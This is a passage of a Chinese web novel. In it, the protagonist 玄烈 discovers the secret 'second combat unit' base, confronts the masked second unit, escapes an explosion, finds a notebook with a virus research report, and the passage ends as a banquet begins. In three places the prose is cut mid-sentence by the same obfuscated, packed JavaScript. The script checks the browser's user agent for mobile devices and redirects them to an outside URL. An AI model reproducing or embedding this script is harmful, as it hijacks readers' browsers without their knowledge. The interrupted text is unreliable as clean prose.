这家伙,早知道他嘴里没几句真话,但玄烈没想到这也要造假。 当时让棱镜去查向繁森资料也并没往这方面想,他只觉还是查得太晚了,早知如此一开始认识向繁森的时候就该把他查个底掉。 不过后来的资料很可能经过篡改,能不能查到这里还是未知数。 说起来,这里的资料就一定是对的吗? 腕表还没报废,玄烈直接把屏幕捕捉下来收藏在云端,回头有机会再仔细查查吧。 何况对于一个已经离去的人,查或不查又能怎么样呢? 玄烈接着往后看,和向繁森同样站在角落的是韶赋修。和古早向繁森相比,韶赋修简直像个巨人,他越挺拔,衬得向繁森越渺小。 韶赋修的履历更加丰富,年纪轻轻就在履历上添了浓墨重彩的、旁人要花十几二十年才能画来的几笔。 不同于其他专攻科研的成员,韶赋修当兵前学的是美术和雕塑,服完兵役放弃升军官的机会开始环游全球,三百六十行他得尝试了一多半,最后被舜延叫来管理公司。 资料里标注他曾是许多知名项目团队的核心,后来莫名被默默移出中心层,大概是和舜延理念不合的缘故。等到这次的第二战备团队,他只是一个小小的团队成员了,连小组组长都争不上。 多亏向繁森,玄烈格外注意他的婚姻状况。妻子那栏的名字填的是潼玚,可能就是潼氏的大小姐,潼霜的姐姐。 在手指移到“潼玚”上时,这两个字也亮了起来,玄烈便直接点了进去。 果然对于“外人”,资料库的信息就不那么全面了。舜氏人所掌握的潼玚信息不多,也就是简单的个人资料和部分成就。 可有一点,玄烈越看越奇怪。 在不易被察觉的一行,写着这么一句话。 ——R681年,父亲潼铭城、母亲贺楹、继父封航、妹妹潼霜,死于大火。 这一年后,潼家的户口簿上,只剩下潼玚一个人。 那这不更奇怪了? 那个潼霜死了,那后来带领潼氏和舜氏做对又被韶赋修打压的潼霜又是谁? 这回潼霜的名字无法点亮了,资料的查阅截止了。 这里应该不是舜氏全部的资料库,就只是第二战备团队成员的资料被调来这里。 心跳越发浓烈,待玄烈举起腕表想要仔仔细细把这一页屏幕捕捉完全的时候,腕表忽地振动起来,振得玄烈差点手一松让腕表砸在地上。 还是绯篱发的消息。信息两三个字一条,上一条的偏旁部首还没露出来,下一条就顶了上来,不给喘息的时间。 腕表嗡嗡地响着,绯篱用的是紧急联络通道,不可无视、优先度极高的那种,所以振动无法被关掉,只能蛮横地在玄烈手心如同跳动的火球。 玄烈粗略晃了一眼,原来是这里的事终于传回舜氏,他暂时变成了失联状态,才惹得绯篱也跟着着急。 “玄烈老师你还好吧!他们已经发动要去救你了!”语音中的绯篱几乎喊了起来。 ——我没事。绯篱,帮我拖住他们。 这几个字发送后,振动突然停止了,想必是绯篱知晓了他的意思。 可振动结束后的寂静无声在这空间里只会显得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14266474|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更加令人毛骨悚然。屏幕上没有别的可疑信息,玄烈反反复复又看了好几遍。 转身之时,目光移开的片刻,角落里好像又某个闪闪发光的物件钻入了他的余光。 那是一个玻璃匣子,小小的,被一个大块头仪器挡住了一大半,只有站在特定的角度才能感受到玻璃上反射的光,不怪玄烈刚才没看到。 把“大块头”移开,匣子里的东西就明明白白地展示出来。 这东西玄烈再熟悉无比了,这一路走来他倒是掰碎了不少这玩意。 这是一块智识芯片,雾蒙蒙深蓝色的本体周边环着一圈金色的薄膜将致密电路纹路明晰地展现出来,整体发着晶莹的微光,看上去是比玄烈掰过的那些更高级。 匣子没有锁,向上一掀就开了,也没有所谓的高杀伤力射线把芯片围住生怕它被人偷走。玄烈就这么轻而易举地把那芯片拿了起来。 这种高级实验室一般都会配备智识芯片扫描系统,人们能从屏幕上第一人称视角观看这芯片主人的全部记忆。 古早时期玄烈见林瑀给别的机械体修脑子时曾用过这种系统,幸而他还记得。 实验室一侧的操纵台边,玄烈撬开金属皮柜门,从里面扯了一根电线出来,插进一旁架子上落了灰的一台小型仪器中。 玄烈也不知道仪器的全称是什么,只觉得这玩意太像个蛋了,巴掌大小,又像圆溜溜的飞碟,和阿盼以前买来做酸奶的酸奶机有几分神似。 通好电后那颗“蛋”就通体亮起银色的光,上半部分“蛋壳”咔哒一声弹了起来。玄烈把芯片平稳地卡进“蛋”中心那小小的方形凹槽,便轻轻扣上了“蛋壳”。 像素颗粒进度条顶替了屏幕里的照片,很快走到了尽头。不需要启动,视频从一阵朦朦胧胧开始,开始展示芯片记载的一切。 起先画面又黑又糊,什么也看不清,连声音也是磕磕绊绊的。持续了半分钟,一个轮廓像手的东西彻底盖住了镜头,再移开后,画面即刻清亮起来,连带着看着这一幕的玄烈也觉得自己眼睛清澈了好多。 可惜还是听不清别人在说什么。此时芯片不知被安在什么东西身上,竟被好几个人放在手里捧来捧去的,画面摇晃不止,看得玄烈头晕。 不过等到这东西到了一个人手里后,一切安稳下来。 女人低着头温柔地与镜头对望,时不时笑笑,又说了什么。岁月在她眼尾留下优雅的痕迹,漂亮得滴水不漏,扬起的嘴角绽放着神一样的光辉,玄烈从对方眉目间仿佛看到了另一个人。 她心口的小方牌上刻着“程黛绫”三个字。玄烈正看得出神,镜头一转,这东西被放到了另一个人怀中。 四目对望,玄烈有种被什么击穿了的感觉。 画面里的正是他自己。不,不对,严格来说,此刻正与他对望的,是曾经的第一战备。 他低头看向镜头的时刻脸上是没有笑的,乌黑的头发垂了下来遮在额前,眼里毫无波澜,如同拿着一块死物。 但玄烈总觉得他们这一刻穿过时空对视了,他们之中任何一个人眼神里那抹冷漠到冰点的意味都是足以穿透这面屏幕的。 他曾经想过,如果这一时刻注定到来,他在面对另一个他,他会说些什么。 事实如他想的那样,时机在他犹豫等待之间溜走了。画面里的第一战备在长久的注视后歪着脑袋笑了一下,笑得很微妙。 骤然间画面黑掉了。芯片的记忆就走到了这里。 “蛋壳”再次咔哒一声跳开,玄烈拿着那芯片回到匣子旁,这才注意到匣子旁的桌面上钉着一块铭牌。 看到那块金属铭牌上刻的字,他更是倒吸了一口凉气,又如被冰冻了一样僵固在原地无法动弹。 铭牌上的字是:第二战备·凛晞。 160. 第二战备基地(3) “嘭——” 忽地,一声爆裂巨响从玄烈头顶炸开,其音量不小于一颗小型炸弹引爆在玄烈天灵盖三毫米的位置。 通风管道的网格窗犹如一只兔子被大炮轰出去一样,在玄烈闪身的瞬间,一角扎进了无坚不摧的地板中。 立刻进入战斗状态,玄烈一手库星一手库星锥撤到了场中金属台的后方,等待来者从通风管道跳下来的第一时刻将其爆头。 可几秒过后只有一阵浓浓的黑烟。 玄烈刚要试探着靠近那天花板的通风管道,就感觉到肩膀好一阵刀削般的疼。 是那网格窗飞来时切中了他的肩膀。殷红的血汩汩往出涌,玄烈手抚着伤口边缘时,还摸到了网格窗锈了的边角碎片。 “没有时间了。” 那个人的声音从管道里传出,带着回音和着黑烟飘下来。玄烈看向腕表,果然没时间了。 离琀珏所说的三个小时,只剩下五分钟。 熟悉的身影稳稳跳到玄烈面前。面对玄烈肩膀的伤和他那被血染透半边身子,那人还有点惊讶。 “原来打中你了吗?抱歉啊……” 没什么诚意的样子。库星锥还在玄烈手里没被他收回,在打个你死我活之前还有更重要的问题要问。 “你一直都知道这个地方?”玄烈问道。 “是。”那人把网格窗从地里拔了出来。网格窗的边角太过锋利了,那人只是抓着就被划破了手掌,鲜血从那人手里渗出,沿着窗子边角流。 “你一直藏在这里?从颠转开始的时候,到现在?”玄烈接着问。 “没错。”那人把网格窗往旁边随意一扔,从口袋里扯出一块手帕往手上缠。 “你就是……第二战备?” 这句话一问出口,犹如一座金钟在耳边被敲响,玄烈忽地感觉脑袋发懵,耳鸣不止。 那人缠手的动作停止了,戴着面具的脸扬起来,一声不吭地面对着玄烈。那人什么都不说,玄烈眼看着眼前一切都开始转圈。 飞鼠、月饼、火锅又开始在眼前飞了,脚下变成沼泽,食堂小机器人跳着舞从地缝涌出来,肩膀流淌的血都变成青绿色,一时间汹涌如洪水,吓得玄烈赶忙死死捂住伤口,生怕自己会流血流死。 那人也变了样子,面具变成怪兽的脸。那狰狞扭曲的黑色爪子正朝玄烈身前靠近,比起流血流死,玄烈更觉着这爪子恶心。 库星锥迅速从玄烈手里飞出,挽着花样要把那爪子砍成好几块。可没能得逞,那黑色爪子眨眼间便化作一道闪现从库星锥刃光间折来折去,迅疾刺进了玄烈的心口。 就在玄烈以为自己要死了的时候,一切症状莫名消失了,乱七八糟的东西化作烟云瞬时没了踪影。 “病毒发作的感觉怎么样?”那人收回电枪,若无其事地问。 “不、不太好,咳咳……”酥酥麻麻的痒意在他胸腔乱窜,玄烈一时咳嗽不止,“谁病毒发作……能、好受……” “你不是一直奇怪为什么还没能恢复第一战备的战力吗?”那人抱起手臂绕着圈在玄烈身边走,令玄烈头晕又翻了上来,“如果没有病毒一次次激你,恐怕到那一天还得十年。” 走到玄烈背后,那人停下脚步,逼得玄烈转身,“很快就结束了,病毒虽能一次次令你实力增强,但凡事都需有个度。等到恰当的时候,封锁病毒,恢复能力,还剩最后一道锁。” “什、什么?” “电击,”那人说着,指尖忽地用力摁向玄烈心口,那是他方才被电到的地方,“其实你早有答案了,不是吗?” 被按得很疼,玄烈拍开了那人的手,“你还没有,回答我……你是不是……” “是。” 言简意赅,干脆利落地让玄烈一时接不上话。 “我就是第二战备。” 面具后绽出笑脸,面具前什么都看不到。同面具后的黑洞对视,玄烈渐渐松开捂着伤口的手,因为就这么一会儿,伤口就已经痊愈了。 “不可能,你的智识芯片还在这。”玄烈说。 “那又如何?我又用不到,”那人坐到金属台边,“你不也是吗?” “是什么?”玄烈不能理解。 “芯片。你也用不到啊!” 一滴汗从后颈滑落,双手垂在身侧无论如何也动弹不得。如果说前面的震惊都只是对真相一层层抽丝剥茧的惊喜或困顿,那么现在可以算是石破天惊、令他怀疑人生的巨大惊吓了。 好奇怪,好像对方戴着面具玄烈都能看到那人津津有味看戏的脸。 智识芯片安插在每个机械体后脑,玄烈从未怀疑过这一点,于是他也理所当然地觉得自己也该有。 直到他伸手摸向自己的后脑。 的确是有像别人一样能翻开的卡扣,但里面没有卡着智识芯片的槽,也更不会有芯片。仅有的安插芯片的地方更靠近脖颈,凹槽大小也不对。 也许,也许在别的地方? “别找了,没有就是没有。”那人笑着说。 行走到今天,没有一个芯片储存和他有关的一切。这意味着,他或许根本不是个机械体,他占用别人的身份活着,第一战备的芯片在实验室,现在就连他占用的是谁的身躯也很难说了。 如那些从暗地骂到明面上的人所说的一样,他是个不折不扣的异类。 那也说明要是有一天他死了,将不会有任何途径能让他重新醒过来。 原来这个世界不存在永恒啊。就像那个她离开了,他束手无策,只能没日没夜对着月亮太阳星星发呆,连个念头都没有,也不能像伏策那样,怀揣着期待,知道总有能活起来的那天。 等等,既然第二战备也不需要这个芯片,那是不是也有可能,他们已经进化到了不需要智识芯片,或是有别的东西能够替代智识芯片的程度? “对了,之前擅自拿了你的东西,还给你。” 那人戳破了玄烈的思绪,从袖子里拿出一个拇指粗细的瓶子。瓶子里有一坨红色,红得很浓郁的那种红色。 只见那人把盖子一拔,瓶子竟像解了压的袋子一样膨胀起来,知道膨胀到那人小臂大小,玄烈才发现那是一支玫瑰花。 那人把花抛给玄烈。这支花还是以前的样子,新鲜得很,就是枝上的刺不再硬挺的,抓在手里也不会痛。 玄烈盯着手里的花,头也不抬地喃喃问道:“你要杀我吗?” 那人从台边跳下,缓缓走到玄烈身前,“为什么?我们是同伴呀。” 不等玄烈再说什么,那人略过玄烈径直走到一个柜子旁,并从柜子下拖出来一只灰扑扑的纸箱,打开后将一个只有在照片里见过的黑盒子拿出来塞到玄烈手里。 “你不怕被炸死硬要留下的举动肯定已经让你暴露了,拿点有用的东西给舜希,告诉他们你找到了第二战备基地,只发现这些。这是第二战备旧体,也就是你在屏幕上看到的那个盒子。连同那个芯片带走,他们不会太难为你。” 盒子轻飘飘的,真正拿在手上倒不像屏幕里看到的那样高级。 “你不该是由这个盒子进化成机械体的吗?”玄烈问。 “不需要,何况它之前被破坏过,但里面还留着第二战备所有预成型的内容。舜希不知道我的存在,她会把这个当成宝贝的。等到后期发展到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14277660|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定程度,她才会发现真正核心的信息被抹掉了。” 那人边说边走到了屏幕前,漆黑的平滑表面映出了那人的双重影子。等到话音消逝,那人轻敲了下屏幕,原本已经死寂的屏幕骤然亮了起来,并显示出眨眼的亮红色两分钟倒计时。 数字翻得很快,每一秒的流逝都让玄烈心焦。 “还有最后一些需要你知晓的事,我长话短说。” 第二战备从腰间拔出一把形状古怪的手枪,枪口呈喇叭状,对准他们上方的通风管道就扣下扳机。 雄浑气浪在“砰”的一声后冲进了管道,形成的气旋推土机一般往通道深处呼啸,顷刻间扫荡着内部残留的有毒烟气和灰尘,确保他们能以最快速度出逃。 对着玄烈将信将疑的眼神,那人揣起枪,“这次的事确实是我们预先准备好的,第二战备基地故意暴露,程炼和舜真也都知道。和骨环做交易的不是韶赋修,而是我们。” “做交易?骨环要什么?”玄烈问。 “他似乎只对一件事情感兴趣,”第二战备嗤笑一声,“骨环觉得人类是很有意思的存在,尤其是颠转开启,他好像已经认为自己可以凌驾人类之上了。皇帝国王之类的头衔对他没什么吸引力,比权力更好玩的是崇拜和惧怕。” 说到这里,第二战备转向玄烈。顶光以一个精妙的角度投散到第二战备的面具上,有那么一刻,玄烈看到了面具后的眼睛。 “所以,他想要的,是登神。” “登神?”玄烈觉得略有点荒谬,“那你们能帮他什么?” “第二层戏剧小镇里的剧情你也看到了,那就是他写的,”第二战备说得无语,玄烈听得也无语,“他的世界不需要舜氏和涂云这两块难啃的硬骨头,舜希和韶赋修也不可能理会他的要求,他需要第三股力量替他蹚平这一切。” “明白了。”玄烈答道。 骨环的切入未必是件坏事,现在的局势是越混乱越好,混乱到那些人都被蒙蔽了眼睛,他们才有更多机会。 “你还有什么想问的吗?” 时间剩下最后十秒时,第二战备才给了玄烈提问的机会。 没有犹豫,玄烈指着他们侧方的那台电脑。 “那个账号是你的吗?你怎么会有哉徉岛的照片?” 一声哼笑从面具下传出,倒是不带什么讽刺之气,就是单纯的笑声,却听得玄烈心里刺挠。 猩红的数字在余光里闪,警报声由远及近不停回响,时而响在耳畔,时而又像是响在心里。直到倒计时归零的瞬间,面具依旧岿然不动。 为什么要我问但又不回答? 冲击波混合着凶狠火焰势不可挡扑面而来前,玄烈下意识抓着第二战备的衣领毫无顾忌地向上方通风管道飞去,身后热浪急迫地燎烧他们在管道内飞行的残影,玄烈眼里只有越来越近的光亮。 一簇光团在管道□□开,玄烈一个翻滚逃出了爆炸范围。黑烟将他浑身上下裹得灰土土的,叫他连咳了好几声才觉得喉咙松快一点。 这里是城市最繁华的街口之一,爆炸从剧场下径直蔓延到玄烈刚逃出来的这座咖啡馆后院。 怎么会有通风管道通向这里?根本就是当作逃生通道修的吧? 还好咖啡馆无人伤亡,就是一大堆人围成圈远远地张望和讨论着玄烈的出现。 玄烈无暇顾及那些人。盒子还抱在手里,可是玫瑰花呢? 他突然想起来爆炸发生的那一刻,他在拽起第二战备的时候,玫瑰花好像被他失手掉在地上了。 玄烈赶忙看向身边。 被人群围住的空旷街道中央,只有他一个人。 161. 第二战备基地(4) “这是我唯二找到的东西。”玄烈越过阿盼,把芯片和盒子亲手递给舜希。 舜希脸上面具的表情产生了变化。她拧着眉头,拿着盒子沉默,不知在想什么。 “原来真的在那……”舜希低声说,随后,她抬起头看着玄烈,“既然如此,你为什么要给我?” “因为……”玄烈有意说得艰难,“我想邀功。” 舜希被玄烈的直白击得一怔,旋即笑了起来,“好啊,你说。” “我要当机械体总队队长,”玄烈字字铿锵,不用看他都知道他身后的人脸色冷了下来,但他没有停止,“小队可以不合并,黑羚羊可以保留,但我要在他们之上。” “他们?谁们?”舜希笑着问道。 玄烈转身指向阿盼以及大厅里的所有机械体,丝毫不顾那些人投来的仇恨目光,“一队、三队、N队……所有人,我要在所有机械体之上。” 舜希把盒子和芯片放在她身旁的绯篱手里,没有说话。 等了好久,等到那些机械体都有把握舜希不会答应玄烈的要求时,她再次笑了。 “拿去分析。”她吩咐了一句,绯篱点点头从偏门离开。玄烈脸色坚定地无懈可击,舜希耐人寻味地勾着嘴角,“没问题。” 众机械体哗然,阿盼更是瞳孔地震,复杂情绪在他脸上交织。但等到他和玄烈真正对视时,他的眼睛里又只剩凶狠了。 “阿盼。”舜希唤道。 “在。”阿盼应着。 “五天后是你的生日吧?” “是的。” “好!”舜希欣喜地抬腿开始往门外走,边走边抛下一句,“五天后舜氏将举办盛大的年庆,顺便向世人展示舜氏的最新研究成果……” 等到身影消失在门边,舜希的声音还悠悠地传来,砸到玄烈脑门上。 “……届时正好举办你的升职仪式,记得早点到。” 从大厅往房间走的路上有不少人为玄烈驻足注目。他们像看怪物或是内奸一样瞄着他,嘴里蹦出不少尖酸刻薄的话和莫须有的谣言。 玄烈听不见一样只管自己往前走。他一瘸一拐地慢悠悠往前迈步,现在没有倒计时,不需要他焦急时间流逝地太快,终于可以以自己的节奏走。 不知道怎么搞的,在地下室的时候伤口好得那么快,飞出地面拧伤了小腿倒半天好不了。 浑身被火烧得滚烫,小腿却疼得冰凉发胀。 身上衣服也烧得乱七八糟。想到刚才自己脸脏得跟花猫一样,头发乱糟糟的,居然还大言不惭地放着那些要站在阿盼等人身上的豪言,玄烈就十分想钻进水里冷静一下,让大脑降降温。 从那些窃窃私语的人旁走过,玄烈依稀听到程炼好像被带走调查了,以出卖机密之类的罪名。 虽然不知道这会不会也是他们设定的一环,但总归暂时少了一个想要玄烈命的人。 舜希给玄烈放了五天假养伤,又以职务变动的名义断了他和二队的联络,把他隔离起来,撤除了外出的权利。 回到房间,往椅子上一倒就再也起不了身了,但玄烈终于还是凭着强大的意志力拖着沉重的步子去把自己冲干净。 重新套上一身舒适的棉质睡衣,活着的实感重回到他身上,腿伤也好了大半。 房间里摞着不少又厚又重又难读的“大部头”,深棕色墨绿色浓黑色进口植鞣革封皮的书把那么大的书架塞得满满当当的。 夹缝处一条灰白脆弱的纸格外显眼,玄烈小心翼翼地把贴着这张条子的本子抽了出来。 这是当时在向繁森办公室门口,玄烈偷偷顺走的那本向繁森的笔记本。 不是因为玄烈闲的,也不是他拿准了这里面会写什么,就只因为他一眼就看到了这本上贴着的纸条。 和纪棠烬病毒研究记录资料上一样的封条。 难道他也曾潜入过那间屋子?没道理啊。他是怎么知道的?他去找什么呢? 答案恐怕就在这个笔记本里。 玄烈扯着封条的边角,谨慎地将其完完整整撕了下来,没在本子上留下一点点印子。本子呈浅驼色,是羊皮的,只有巴掌大小,厚度还不比食指宽。 前几页是空白的,而后有将近二十页被撕掉的痕迹。撕痕非常平整干净,如同菜刀手起刀落利落地将这几页同时切去了,看得出这人有多细心。 从第二战备基地回来,玄烈心绪打开了一些,对许多他不曾知晓的事情多了几分包容,现在看见多么令人吃惊的信息也不会一惊一乍了。 中间几页乱七八糟记着关键词和许多没什么头绪的话,有“纪凛烛”、“机械臂”、“第二战备指南”的字眼。其中“纪凛烛”三个字中的“凛烛”二字下方被重重画了一笔,“机械臂”一词下方也画了好几个箭头,分别指向“净化”和“病毒”两个词。 再翻了一页,“程炼”两个加粗的大字几乎占了一页纸的三分之一,下面潦草地标着他“出生年月不详”和“进入舜氏时间不详”的字样,后面是一些对他身份的问句。 玄烈多少也试图了解过程炼,但都没什么结果。棱镜也不知道跑到了哪里去,玄烈一直联系不上他。 只知道“程炼”的名字是他自己起的,二十年前被救出来后失了忆毁了容,现在整张脸上除了那道疤痕是他自己的,其余五官都在治疗中变了样子。 如本子上写的“为什么起名叫程炼”一样,玄烈也很好奇,可坏就坏在这个人警惕心也太重了。 玄烈认真读着上面的内容,没什么新奇的发现。他在许多地方见到过向繁森的字迹,这些字应该是向繁森写的,而不是纪棠烬。 所以向繁森是故意贴着封条要玄烈发现?这是他早预备好的? 玄烈不明所以地接着往后翻。后面再没记什么,直到翻到末尾。一张印着浅浅灰色logo的白纸夹在封皮中。 从白纸露出的一角玄烈隐约觉得这被折住的图案甚是眼熟。细细分辨的片刻后,突然间,记忆和大脑替玄烈将这图案补全,他猛地将那纸抽了出来用力展开。 这上面印的,原来是潼氏的logo。 白纸有A4大小,logo的另一面满满当当全是字。 貌似还是什么病毒的研究成果,字小到玄烈恨不得拿放大镜来看,一半英文一半是他没学过的语言。现在玄烈被软禁,没办法去申请插件升级大脑的翻译系统,只好把这页纸拍给绯篱,拜托她闲暇时翻译一下。 花了将近二十分钟,玄烈终于艰难地将前半部分英文啃了下来。的确是病毒研究报告,里面详细写着研究者同时给一百架机械体和一百个普通人注入同样的病毒与加强后的细菌做实验,并得出了超预期的绝佳反馈。 但有一点格外值得被注意,那就是在最后一次病毒加强时,为了达到效果,病毒研发者牺牲了这类病毒被消灭的可能,治愈率为零,此后但凡病毒流入了人群,除了大范围销毁处理,人类别无他法。 这张纸看上去有些年头了,角落标注的日期在打印时因为缺乏密钥而被遮挡,只能引出一团问号。 最后那段看得玄烈浑身发麻,这时,绯篱处理后的版本发了过来。 原来并不是多余的内容,这段令人费解的文字也只是将上面英文那段话进行了翻译处理,大致内容还是一样的,除了一点。 下面那段信息里,在病毒研发者后提到了一个名字,韶赋修。 也就是说这页纸其实是对韶赋修所研制的病毒作注解,而非纪棠烬的。 那向繁森有意将这张纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290129|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留给玄烈看的意思是什么? 正想着,玄烈走出了门。走廊好空旷,玄烈一路走到电梯都没见两个人,没有机械体守在门口,可他就是进不了电梯。 缺乏权限,他连电梯门按钮都摁不动。 机械声冰冷地从天花板传来,“抱歉,权限将于五日后开放,在此之前请安心修养,有需要可向联络器输入指令,我们将……” 话音未落,玄烈直接转身走了。 舜希应该不会因为他而清空了这区这层所有的人吧?他什么时候重要到这个地步了? 玄烈边想边往休闲区拐,他打算买瓶营养剂回房间躺着。但他转弯的同时,另有人从他对面转了过来。 他们擦身而过,玄烈停下了脚步,那人和那人身后的一堆舜氏工作人员头也不回地走着。 好眼熟的身影,个子不高,瘦削的身形,凸出的颧骨,略显刻薄的长相,苦大仇深的表情和呆板的眼镜。 玄烈二话不说冲到那人跟前,挡住了他们的去路。 “你有什么事啊?”面对玄烈的打扰,其中一个工作人员有点不悦。 是他没错,玄烈不会认错的,那张照片他看过无数回了。 “你是谁?你叫什么名字?”玄烈狐疑地问。 那人笑了,那张脸连笑起来都尽显苦涩,他反问道:“你来拦我,还要问我……” 话说到一半,那人眼睛忽地亮了起来。不是惊喜和激动,而是恐惧和排斥交杂的亮。 “你……你是凛烛?”那人试探地问道。 玄烈愣在了原地,“我不……”他不知道回答什么,更不解那人为什么会这样说。 等到那些人越过了他接着往他身后走,玄烈才反应过来,大声问道:“你是不是……叫向繁森!” 皮鞋尖锐的声响再次停止,那人没有转身,高档西装罩在他身上的样子怪异别扭。几个工作人员则把愤怒写在了脸上。 “向总是代替涂云集团来舜氏做客的,你放尊重一点!”一个人对玄烈喊道。 深夜,玄烈坐在桌前对着桌子上被窗户映出来的一块块月光发呆。 他原本是边把玩着一个笔盖边发呆的,但不小心手滑让笔盖飞了出去,飞到柜子底最深处的角落。他够不到,只好认倒霉,把那可怜的、没盖的笔放回笔筒。 早先爆炸在管道里撞击发出的声音还在耳边颤动,玄烈记得手指死死攥着那人衣角的触感。 其实就差一点。当时从下方传来的温度昭示着这场爆炸根本不是他们能轻易逃脱的程度,火焰险些就抓住了玄烈的脚踝,更不必说被玄烈抓着的第二战备了。 可为什么那个人完全就跟死了一样一点力都不用呢?像跟飘零的枯草。当时但凡玄烈松手,那个人就可能会掉下去被火吞没。 就这么相信他吗? 想着,玄烈又从笔筒里随便抽出来一根中性笔在指间转来转去。 快飞出窗口时,玄烈貌似还问了那人一句话。 他问:“去哪能找到你?” 那个人回答了什么来着? 思绪如缠杂蛛网般凌乱,腕表叮咚一声解救了玄烈脑海里那块跳不出的黑洞死穴。 ——玄烈老师,第二战备已经解密完成了。 是绯篱发来的消息。想来是她怕会暴露什么,才深更半夜递来这么条消息。 ——我知道了,辛苦你。 玄烈回复道。没有多余的话,没有嘱咐,没有暗示。 腕表息屏被放在一边,房间又回复了缺失光源的暗淡,笔接着在指间画圈。 可惜这次只转了两个漂亮的弯,笔“咔”地一声摔在桌子上。玄烈想起来在巨响正轰鸣时,那个人就只回答了两个字。 “做梦。” 162. 夜宴(1) 舜真最近状态很不好。 她早料想到自己有朝一日会和林瑀一样瘫在床上像只病入膏肓半死不活的老牛,只是这一天来得也太早了一点。 后面的事不大需要她操心了,能铺垫的路已经到了尽头,她所能做的也止步于此。活了这么多年突然有种无事一身轻的松快感,舜真着实难以适应。 心里轻飘飘的,真跟要死了一样。 外面的消息经杨宁等人传到她的耳朵里,舜真却一个劲可惜自己不在现场。 午夜,沉默的城市,沉默的万家灯火,舜氏第二批AI仿真人已经进入各家各户,舜希和韶赋修终究是完成了自己的承诺,让更多自愿进入颠转的人在这里收获了他们所失去的一切。 当然,代价是成为傀儡和雕塑,忘了他们失去的到底是什么。 舜真做了半天的思想工作才肯翻身起来拆掉自己半天前下单购买的吊床,又磨磨蹭蹭三十分钟才把吊床固定在了她办公室的中央。 筋疲力尽浑身酸痛的她爬上吊床晒到月光的那一刻,她忽地觉得一切都值了,于是掏出手机拍下圆又敞亮的月亮发给了某个人,又用干渴沙哑的嗓音低沉沉发了一句话。 “今天月亮特别漂亮,你也应该偷跑出来看看。” 不一会那边就回过来消息,黑压压的字在亮盈盈的屏幕上闪出重影,仿佛刻在了舜真通红的眼睛里,令她头昏。 ——不着急,这样的景色以后还会有的,等以后我正大光明地看。 逐字逐句看清后,舜真乐滋滋地发过去一个猫头表情包,接着道:“这次见面,怎么样?” ——他瘦了。 “我是说你,你心情怎么样。” ——乐开花。 舜真突然坐不住了,“哎,差不多行了啊,我就试探性问问,你应该掂量着答啊,还让不让人活了!” 那边发来“哈哈哈哈”四个字,实在得了便宜还卖乖。 “不过确实,你要是再不出现,玄烈这家伙恐怕一辈子都走不出来了。你放心吧,他是个坚强的孩子,一定能好好地站到你面前。” 随后那边就没了回音,等到舜真快要睡着了,手机才又响了一声。 ——我不担心他,小真,我担心你。你最近怎么样? 可惜舜真听到了那声响,但没力气再睁开眼拨弄一下手机,就这么睡过去了。 夜间,晴转多云。云彩的出现只是挡住了月光,却盖不住永璃岛的灯火通明。夜晚的喧嚣永远比白天来得热烈,疲惫了一天的人们卸下皮囊,深处阴毒的恶魔开始崭露头角,他们来回切换极其夸张的面具,见谁都说鬼话。 那座与破雾顶比肩的探照灯来回扫视着形态各异的灵魂,他们成群结队,他们怪诞诡谲。 旧舜氏大厦通体明亮,是内部在举办无比盛大的晚会。 每个人盛装出席,无论他们什么出身,什么来历,都会在此刻神采奕奕,笑容温和虚假。 一早就不见遥遥的身影,舜真打听到她提前去了宴会厅,和一个男人。 不出意外的话,这个男人就是孑盏。 舜真不常精心打扮自己,她的五官已经足够明媚有力,过多的搽脂抹粉只会让她看上去趋于粉饰,失去了原本清冽的美。但她今天开始将名贵化妆品一层层往脸上抹。 舜真特意挑了一只艳丽的正红色口红,却搭配了一席清冷调的镜面绸缎长裙,纤细的肩带上覆着一层藕色薄纱,纱尾被系成蝴蝶结随意地垂着,与她华贵的妆容形成不小的碰撞。 她没有卷发,乌黑亮丽的直长发上没有半点修饰,只是行动间,隐约能见到耳垂下零星闪烁着的蝴蝶钻石耳坠。 这样很好,头发能够遮掩住她后颈延伸到背部的一块块发炎溃烂,厚重的妆粉能压盖脸颊血管爆开导致的淤青。 穿过走廊,舜真来到敞亮的宴会厅,她的脚步优雅间透露着心事重重,她面不改色,眼神却在不停捕捉、寻找着什么,但落了空。 明晃的暖光笼罩着富丽堂皇的大厅,这里已然聚集了不少上流社会的达官显贵,舜氏的、涂云的、颠转新建政府的,还有部分潼氏的老面孔。舜真仅仅对一些投送来眼神的人报以颌首微笑后就走开,意思是“你好,谢谢你,别过来,我对你没兴趣。” 舜真缓缓走过一排排高脚杯,里面的液体颜色各异,有的沉稳波澜不惊,有的不停翻涌着小气泡。 